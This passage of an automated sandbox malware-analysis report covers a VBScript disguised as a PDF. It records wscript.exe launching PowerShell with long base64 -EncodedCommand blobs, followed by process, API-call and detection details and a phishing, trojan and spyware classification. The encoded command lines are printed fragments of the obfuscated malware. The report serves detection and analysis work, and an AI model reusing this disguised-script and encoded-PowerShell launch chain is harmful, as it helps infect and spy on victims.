wAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASw
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASwJump to behavior
          Very long command line found
          Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 18956
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 19232
          Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 18956Jump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: Commandline size = 19232Jump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_045B83E821_2_045B83E8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_045B83D821_2_045B83D8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_045BE91121_2_045BE911
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_045BE92021_2_045BE920
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A4451021_2_07A44510
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A42E0121_2_07A42E01
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A45B6021_2_07A45B60
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A4E54021_2_07A4E540
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A441B821_2_07A441B8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A4309321_2_07A43093
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A4004021_2_07A40040
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A45B6021_2_07A45B60
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A4A88821_2_07A4A888
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07B5010321_2_07B50103
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07B58D8021_2_07B58D80
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07B58D5021_2_07B58D50
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07BF33A821_2_07BF33A8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07BF01E821_2_07BF01E8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07BF339821_2_07BF3398
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07BF01D821_2_07BF01D8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 21_2_07A4A87821_2_07A4A878
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044B04028_2_0044B040
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0043610D28_2_0043610D
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044731028_2_00447310
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044A49028_2_0044A490
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040755A28_2_0040755A
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0043C56028_2_0043C560
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044B61028_2_0044B610
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044D6C028_2_0044D6C0
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_004476F028_2_004476F0
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044B87028_2_0044B870
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044081D28_2_0044081D
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0041495728_2_00414957
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_004079EE28_2_004079EE
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00407AEB28_2_00407AEB
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044AA8028_2_0044AA80
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00412AA928_2_00412AA9
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00404B7428_2_00404B74
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00404B0328_2_00404B03
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0044BBD828_2_0044BBD8
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00404BE528_2_00404BE5
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00404C7628_2_00404C76
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00415CFE28_2_00415CFE
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00416D7228_2_00416D72
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00446D3028_2_00446D30
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00446D8B28_2_00446D8B
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00406E8F28_2_00406E8F
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0040D04430_2_0040D044
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0040503830_2_00405038
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004050A930_2_004050A9
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0040511A30_2_0040511A
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004051AB30_2_004051AB
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004382F330_2_004382F3
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0043057530_2_00430575
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0043B67130_2_0043B671
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0041F6CD30_2_0041F6CD
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004119CF30_2_004119CF
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00439B1130_2_00439B11
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00438E5430_2_00438E54
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00412F6730_2_00412F67
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_0043CF1830_2_0043CF18
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0481E86935_2_0481E869
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0481E87835_2_0481E878
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0772D5D035_2_0772D5D0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07726C5835_2_07726C58
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07722DB035_2_07722DB0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07722D9E35_2_07722D9E
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF36D135_2_07CF36D1
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF36E035_2_07CF36E0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF061835_2_07CF0618
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF061335_2_07CF0613
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF157835_2_07CF1578
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF36E035_2_07CF36E0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07CF004035_2_07CF0040
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DBEDE835_2_07DBEDE8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DB937035_2_07DB9370
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DB936035_2_07DB9360
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DB92E835_2_07DB92E8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DB010335_2_07DB0103
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07DBEDD935_2_07DBEDD9
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07E60BC735_2_07E60BC7
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07E62CE035_2_07E62CE0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07E62CE835_2_07E62CE8
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_08335D2035_2_08335D20
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_083346D035_2_083346D0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0833472035_2_08334720
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0839AA1835_2_0839AA18
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_08399C3935_2_08399C39
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0839251035_2_08392510
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0839AF5035_2_0839AF50
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0842222A35_2_0842222A
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_08424A8835_2_08424A88
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084234C035_2_084234C0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0842528835_2_08425288
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084214F035_2_084214F0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084234B135_2_084234B1
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_08420DB335_2_08420DB3
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084B399835_2_084B3998
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084B004035_2_084B0040
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084B175F35_2_084B175F
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084B07A035_2_084B07A0
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084EB24035_2_084EB240
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084E0A7035_2_084E0A70
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084E7C2835_2_084E7C28
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084EA01035_2_084EA010
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_084E751835_2_084E7518
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_0851E2A335_2_0851E2A3
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_08514B1035_2_08514B10
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_07E6C9C935_2_07E6C9C9
          Source: doc_65398086_4190362045539.pdf.vbsInitial sample: Strings found which are bigger than 50
          Source: C:\Windows\System32\wscript.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeSection loaded: edgegdi.dllJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeSection loaded: edgegdi.dll
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: edgegdi.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: edgegdi.dll
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeSection loaded: edgegdi.dll
          Source: 0000001B.00000003.2548688512.0000000000646000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: SUSP_LNK_SuspiciousCommands date = 2018-09-18, author = Florian Roth, description = Detects LNK file with suspicious content, score =
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 00421A32 appears 43 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 004169A7 appears 87 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 0044DB70 appears 41 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 004165FF appears 35 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 00412968 appears 78 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 00416760 appears 69 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: String function: 0044407A appears 37 times
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,28_2_0040DD85
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00401806 NtdllDefWindowProc_W,28_2_00401806
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_004018C0 NtdllDefWindowProc_W,28_2_004018C0
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004382F3 memset,NtFreeUserPhysicalPages,memset,memset,30_2_004382F3
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004016FC NtdllDefWindowProc_A,30_2_004016FC
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_004017B6 NtdllDefWindowProc_A,30_2_004017B6
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_30-33003
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20220512Jump to behavior
          Source: classification engineClassification label: mal100.phis.troj.spyw.evad.winVBS@33/27@7/5
          Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_004182CE GetLastError,FormatMessageW,FormatMessageA,LocalFree,??3@YAXPAX@Z,28_2_004182CE
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040B58D GetModuleHandleW,FindResourceW,LoadResource,SizeofResource,LockResource,memcpy,28_2_0040B58D
          Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
          Source: doc_65398086_4190362045539.pdf.vbsVirustotal: Detection: 18%
          Source: doc_65398086_4190362045539.pdf.vbsReversingLabs: Detection: 19%
          Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
